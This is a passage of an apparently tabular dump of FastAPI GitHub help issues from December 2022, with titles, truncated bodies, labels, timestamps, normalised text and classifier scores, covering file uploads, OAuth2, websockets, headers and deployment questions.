    file: fastapi.UploadFile = fastapi.File(..., media_type=""text/csv""),
):
```


### Description

In the init method of `UploadFile` in starlettte `file` is always `None`. That means no matter how big the file is we are getting a spooled file instead of a regular file.

```py
    def __init__(
        self,
        filename: str,
        file: typing.Optional[typing.BinaryIO] = None,
        content_type: str = """",
        *,
        headers: ""typing.Optional[Headers]"" = None,
    ) -> None:
        self.filename = filename
        self.conte... [TRUNCATED]","question,question-migrate",2022-12-12 21:50:50+00:00,2023-02-24 16:29:05+00:00,4,"question,question-migrate",73.7766,is ignored in first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description in the init method of in starlettte is always that means no matter how big the file is we are getting a spooled file instead of a regular file py def init self filename str file typing optional typing binaryio none content type str headers typing optional headers none none self filename filename self conte truncated,help,0.8555
tiangolo/fastapi,1492784167,Further guidance on reading and verifying Django generated passwords with OAuth2/passlib.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
*No Code to Show
```


### Description

This is a request for further guidance or resources around a 'Tip' provided in the Security OAuth2 tutorial. 
Following the OAuth2 security tutorial, I see the tip [where you can read/verify django generated passwords](https://fastapi.tiangolo.com/tutorial/security/oauth2-jwt/#hash-and-verify-the-passwords) and I'm failing to find more resources around being able to do this. 

Basically my goal is to have my FastAPI application share user authentication with a separate django site which uses the default built-in authentication. Users are expected to use the FastAPI app programmaticall... [TRUNCATED]","question,question-migrate",2022-12-12 21:16:38+00:00,2022-12-13 14:51:50+00:00,2,"question,question-migrate",0.7328,further guidance on reading and verifying django generated passwords with oauth passlib first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description this is a request for further guidance or resources around a tip provided in the security oauth tutorial following the oauth security tutorial i see the tip where you can read verify django generated passwords and i m failing to find more resources around being able to do this basically my goal is to have my fastapi application share user authentication with a separate django site which uses the default built in authentication users are expected to use the fastapi app programmaticall truncated,help,0.9455
tiangolo/fastapi,1491966941,Differend websockets states in endpoint and exception handler,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.websocket(""/ws/"")
async def execute_command(
    socket: CommunicationSocket = Depends(get_communication_socket),
) -> None:
    manager = socket.get_manager()
    await manager.connect(socket.websocket)
    logger.info(f""Client {socket.app_resolver.app.name} connected"")
    try:
        await manager.process(socket)
    except WebSocketDisconnect:
        manager.disconnect(socket.websocket)
        logger.info(f""Client {socket.app_resolver.app.name} disconnected"")
    except pydantic.ValidationError as e:
        raise CommunicationValidationError(str(e))


## EXCEPTION HANDLER

async def handle_service_e... [TRUNCATED]","question,question-migrate",2022-12-12 14:05:04+00:00,2023-02-24 16:29:03+00:00,2,"question,question-migrate",74.1,differend websockets states in endpoint and exception handler first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python router websocket ws async def execute command socket communicationsocket depends get communication socket none manager socket get manager await manager connect socket websocket logger info f client socket app resolver app name connected try await manager process socket except websocketdisconnect manager disconnect socket websocket logger info f client socket app resolver app name disconnected except pydantic validationerror as e raise communicationvalidationerror str e exception handler async def handle service e truncated,help,0.9517
tiangolo/fastapi,1491549771,Header 'Date' ignored inside request headers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends

async def check_access(request: Request, date: str | None = Header(default=None)):
    print(date)
    print(request.headers)

app = FastAPI(
    dependencies=[Depends(check_access)],
)

@app.get(""/"")
async def read_root():
    return {""Hello"": ""World""}
```


### Description

Hello,
I'm trying to add Date header to my request from swagger field, but every string is ignored.

- The first print is: None
- The second print not include any Date header.
- Inside curl request the UI shows -H parameter with date: '{my_string}' but it seems to be ignored.

If I change the name from date to anything els... [TRUNCATED]","question,question-migrate",2022-12-12 10:41:29+00:00,2023-02-27 21:29:40+00:00,7,"question,question-migrate",77.4501,header date ignored inside request headers first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hello i m trying to add date header to my request from swagger field but every string is ignored the first print is none the second print not include any date header inside curl request the ui shows h parameter with date my string but it seems to be ignored if i change the name from date to anything els truncated,feature,0.7311
tiangolo/fastapi,1488434273,oauth2 docstrings are out of date,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
async def token(form_data: OAuth2PasswordRequestForm = Depends()):                      
    data = form_data # .parse()
```


### Description

https://github.com/tiangolo/fastapi/blob/97f04ab58c2c047d6d2ff7d803890a90190109c9/fastapi/security/oauth2.py#L17-L20

Maybe in the past this was the case, but today there's no `.parse` on `form_data`

Some 3p online resource omits the `.parse()` and accessing fields directly on `form_data` works, so presumably that's the correct way now?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10

### Additional Context

_No response_","question,question-migrate",2022-12-10 12:14:45+00:00,2023-02-28 15:45:15+00:00,1,"question,question-migrate",80.1462,oauth docstrings are out of date first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description maybe in the past this was the case but today there s no on some p online resource omits the and accessing fields directly on works so presumably that s the correct way now linux details no response fastapi version python version no response,documentation,0.6486
tiangolo/fastapi,1486751296,Fastapi UploadFile with a payload,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import UploadFile
from typing import Union
    @router.post(""/"",
                 summary=""Store pdf in database"",
                 description=""Store pdf in database and return pdf"",
                 status_code=status.HTTP_201_CREATED,
                 responses={status.HTTP_400_BAD_REQUEST: {""model"": ResponseMessage},
                            status.HTTP_401_UNAUTHORIZED: {""model"": ResponseMessage},
                            status.HTTP_422_UNPROCESSABLE_ENTITY: {""model"": ResponseMessage},
                            status.HTTP_500_INTERNAL_SERVER_ERROR: {""model"": ResponseMessage}})
    async def create(self, slip_code... [TRUNCATED]","question,question-migrate",2022-12-09 13:19:22+00:00,2023-02-28 15:45:12+00:00,3,"question,question-migrate",81.1013,fastapi uploadfile with a payload first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import uploadfile from typing import union router post summary store pdf in database description store pdf in database and return pdf status code status http created responses status http bad request model responsemessage status http unauthorized model responsemessage status http unprocessable entity model responsemessage status http internal server error model responsemessage async def create self slip code truncated,help,0.7964
tiangolo/fastapi,1486626491,How to get form parameters with special characters,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn
from fastapi import FastAPI, Form, Response

env = {
    ""app"": ""ntunnel_mysql:app"",
    ""host"": ""0.0.0.0"",
    ""port"": 8611,
    ""workers"": 1,
    ""debug"": True
}

app = FastAPI(debug=env[""debug""])


@app.post(path='/mysql')
async def mysql(
        host: str = Form(None),
        port: int = Form(None),
        login: str = Form(None),
        password: str = Form(None),
        db: str = Form(None),
        actn: str = Form(None),
        q: list = Form(None),
        encodeBase64: str = Form(None)
):
    print(host, port, login, password, db, actn, q, encodeBase64)


if __name__ == '__main__':
    uvico... [TRUNCATED]","question,question-migrate",2022-12-09 11:54:31+00:00,2023-02-27 21:29:37+00:00,3,"question,question-migrate",80.3994,how to get form parameters with special characters first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import uvicorn from fastapi import fastapi form response env app ntunnel mysql app host port workers debug true app fastapi debug env debug app post path mysql async def mysql host str form none port int form none login str form none password str form none db str form none actn str form none q list form none encodebase str form none print host port login password db actn q encodebase if name main uvico truncated,help,0.9535
tiangolo/fastapi,1485905190,"When post with file by multipart/form-data, I can not got the data I want.","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app = FastAPI()

@app.post(""/saveFile"")
async def saveFile(request:Request):
    file = await request.body()
    file = file
    print(file)
    with open(""temp.txt"",""wb"") as f1:
        f1.write(file)
    

    return True
```


### Description

I use react to develop my frontend page and I used ant design's component to do the file upload operation, however, when upload the file, I can not got the data I want. Firstly I use binary write to write the bytestream to local, but the png file can not be opened successfully. Then I use a txt file to test the context of the stream, but I got the content below:

```... [TRUNCATED]","question,question-migrate",2022-12-09 03:44:00+00:00,2023-02-27 21:29:35+00:00,1,"question,question-migrate",80.74,when post with file by multipart form data i can not got the data i want first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i use react to develop my frontend page and i used ant design s component to do the file upload operation however when upload the file i can not got the data i want firstly i use binary write to write the bytestream to local but the png file can not be opened successfully then i use a txt file to test the context of the stream but i got the content below truncated,help,0.8707
tiangolo/fastapi,1484866320,ISO 8601 Date format gets http:422 Unprocessable Entity,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/dateParm"")
def dateParm( mydate: date = Query(""2022-04-06T00:00:00.000Z"")) -> bool:
    return {""result"":True}
```


### Description

Python FastAPI cannot process a date with the ISO8601 datetime format. I am calling the server from a Java client and am getting ""422 Unprocessable Entity"" This is way to strict! I know Node, Java, and Salesforce parse this correctly and truncate the time portion.

I have posted this in stackoverflow and received a workaround using union.   https://stackoverflow.com/questions/71770916/python-fastapi-iso-8601-date-format-gets-http422-unprocessable-entity

Please consider fixing this problem, and allowin... [TRUNCATED]","question,question-migrate",2022-12-08 15:20:36+00:00,2023-02-28 15:45:08+00:00,8,"question,question-migrate",82.017,iso date format gets http unprocessable entity first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description python fastapi cannot process a date with the iso datetime format i am calling the server from a java client and am getting unprocessable entity this is way to strict i know node java and salesforce parse this correctly and truncate the time portion i have posted this in stackoverflow and received a workaround using union please consider fixing this problem and allowin truncated,help,0.8876
tiangolo/fastapi,1484708259,Scale FastApi with sync endpoints,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging
from fastapi import FastAPI

app = FastAPI()
logger = logging.getLogger()

@app.get(""/"")
def root():
    logger.info(f""Running on {os.getpid()}"")
    time.sleep(3600)
    return {""message"": ""Hello World""}
```


### Description

I've noticed lately that we have some latency problems when the servers are busy. I dived into it and found out that, if for example, I have four uvicorn workers, while one worker is very busy, the rest three are significantly less busier. That has two problems - 
1. We're not taking advantage of all our parallelism power
2. We're suffering more from Python's GIL problems on the same worker.

In th... [TRUNCATED]","question,question-migrate",2022-12-08 14:01:54+00:00,2023-02-28 15:45:00+00:00,19,"question,question-migrate",82.0716,scale fastapi with sync endpoints first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i ve noticed lately that we have some latency problems when the servers are busy i dived into it and found out that if for example i have four uvicorn workers while one worker is very busy the rest three are significantly less busier that has two problems we re not taking advantage of all our parallelism power we re suffering more from python s gil problems on the same worker in th truncated,help,-0.6381
tiangolo/fastapi,1483902154,Swagger fails to load - missing role attribute,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# In utils.py under fastapi.openapi I have to comment this line to prevent ""Failed to load"" in Swagger UI
#  operation_security.append({security_name: security_requirement.role})
```


### Description

My Swagger UI used to work well, but suddenly I get a ""Failed to load API definition"", with the error below:
```
 File ""..../lib/python3.9/site-packages/fastapi/openapi/utils.py"", line 84, in get_openapi_security_definitions
    operation_security.append({security_name: security_requirement.role})
AttributeError: 'SecurityRequirement' object has no attribute 'role'
```

If I comment the line in utils.py, the /docs works again.
`#  operation_se... [TRUNCATED]","question,question-migrate",2022-12-08 07:12:55+00:00,2023-02-27 21:29:32+00:00,3,"question,question-migrate",81.5949,swagger fails to load missing role attribute first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description my swagger ui used to work well but suddenly i get a failed to load api definition with the error below if i comment the line in utils py the docs works again operation se truncated,help,0.5267
tiangolo/fastapi,1483484180,The count of thread is high?  uvicorn+fastapi ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
...
```


### Description

I use uvicorn +fastapi,  the cmd is ""uvicorn main:app --host 0.0.0.0 --reload --port 80""
I spent a day observing my application, when I use ps -xH ，the thread of python always increase, such as 15:00 the count is 19, ,18:00 the count is 52 , but the next day morning the count is more than 100.  And ""VIRT"" in  cmd of ""top"" more than 10g but the ""RES"" just 200M

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

0.88.0

### Python Version

3.10

### Additional Context

_No response_","question,question-migrate",2022-12-08 03:15:17+00:00,2023-02-28 15:44:56+00:00,1,"question,question-migrate",82.5206,the count of thread is high uvicorn fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i use uvicorn fastapi the cmd is uvicorn main app host reload port i spent a day observing my application when i use ps xh the thread of python always increase such as the count is the count is but the next day morning the count is more than and virt in cmd of top more than g but the res just m linux details no response fastapi version python version no response,help,0.9052
tiangolo/fastapi,1482193505,How can i get the response from another API to My API FastApi and store it on postgres ,"### First Check

- [x] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Optional
from fastapi import Body, FastAPI, Response, status, HTTPException
from pydantic import BaseModel
from random import randrange
import psycopg2
from psycopg2.extras import RealDictCursor
import time

app = FastAPI()

# model
class Post(BaseModel):
    title: str
    content: str
    published: bool = True
    #rating: Optional[int] = None

#Database connection

while True:
    try:
        conn = psycopg2.connect(host= 'localhost', database='fastapi', user='postgres',
                            password='root', cursor_factory=RealDictCursor)
        cursor = conn.cursor()
        print(""Database con... [TRUNCATED]","question,question-migrate",2022-12-07 15:29:17+00:00,2023-02-28 15:44:54+00:00,2,"question,question-migrate",83.0108,how can i get the response from another api to my api fastapi and store it on postgres first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import optional from fastapi import body fastapi response status httpexception from pydantic import basemodel from random import randrange import psycopg from psycopg extras import realdictcursor import time app fastapi model class post basemodel title str content str published bool true rating optional int none database connection while true try conn psycopg connect host localhost database fastapi user postgres password root cursor factory realdictcursor cursor conn cursor print database con truncated,help,0.9643
tiangolo/fastapi,1482116663,How to implement multi-tenant at database/schema level with alembic migration support,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
Not applicable
```


### Description

Is there any ideal way to implement multi-tenant database support using `fastapi ` and `sqlmodel` frameworks?

### Operating System

Linux, Windows, macOS

### Operating System Details

_No response_

### FastAPI Version

0.79.0

### Python Version

3.9

### Additional Context

_No response_","question,question-migrate",2022-12-07 14:57:08+00:00,2023-02-27 21:29:30+00:00,1,"question,question-migrate",82.2725,how to implement multi tenant at database schema level with alembic migration support first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description is there any ideal way to implement multi tenant database support using and frameworks linux windows macos details no response fastapi version python version no response,help,0.9524
tiangolo/fastapi,1482059579,It is not possible to add multiple examples of requests when using a Depends in the body,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [x] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, Depends, Request, Body
from pydantic import BaseModel, Field
import uvicorn

app = FastAPI()


# Serializer
class RequestWithSingleExample(BaseModel):
    item_id: int = Field()
    name: str = Field()

    class Config:
        schema_extra = {
            'example': {
                'item_id': 1,
                'name': 'Name1'
            }
        }


# Serializer
class RequestWithMultiExamples(BaseModel):
    item_id: int = Field()
    name: str = Field()

    class Config:
        schema_extra = {
            'examples': {
                'example1': {
                    'summary': 's... [TRUNCATED]","question,question-migrate",2022-12-07 14:30:16+00:00,2023-02-28 15:44:51+00:00,2,"question,question-migrate",83.0518,it is not possible to add multiple examples of requests when using a depends in the body first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi depends request body from pydantic import basemodel field import uvicorn app fastapi serializer class requestwithsingleexample basemodel item id int field name str field class config schema extra example item id name name serializer class requestwithmultiexamples basemodel item id int field name str field class config schema extra examples example summary s truncated,feature,0.9136
tiangolo/fastapi,1481386428,Does FastAPI have to pin starlette?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi.testclient import TestClient

TestClient(app, headers={...})
```


### Description

FastAPI re-exports starlette `TestClient` which seems to be an `httpx.Client` connected to the asgi app under test.

starlette has recently fixed the `TestClient.__init__` to follow `httpx.Client.__init__` so that the earlier accepts `headers=...` kwarg, just like the latter.

https://github.com/encode/starlette/pull/1966

starlette has made a release `0.23.0`, but the latest FastAPI pins a specific version `starlette==0.22.0`

Thus, as a dev, I can't use the latest ""features"" or more like reasonable expectations for the TestClient.

A newcome... [TRUNCATED]","question,question-migrate",2022-12-07 09:02:07+00:00,2023-02-27 21:29:28+00:00,2,"question,question-migrate",82.519,does fastapi have to pin starlette first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description fastapi re exports starlette which seems to be an connected to the asgi app under test starlette has recently fixed the to follow so that the earlier accepts kwarg just like the latter starlette has made a release but the latest fastapi pins a specific version thus as a dev i can t use the latest features or more like reasonable expectations for the testclient a newcome truncated,help,0.9688
tiangolo/fastapi,1481083671,Form in request not displaying example in documentation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
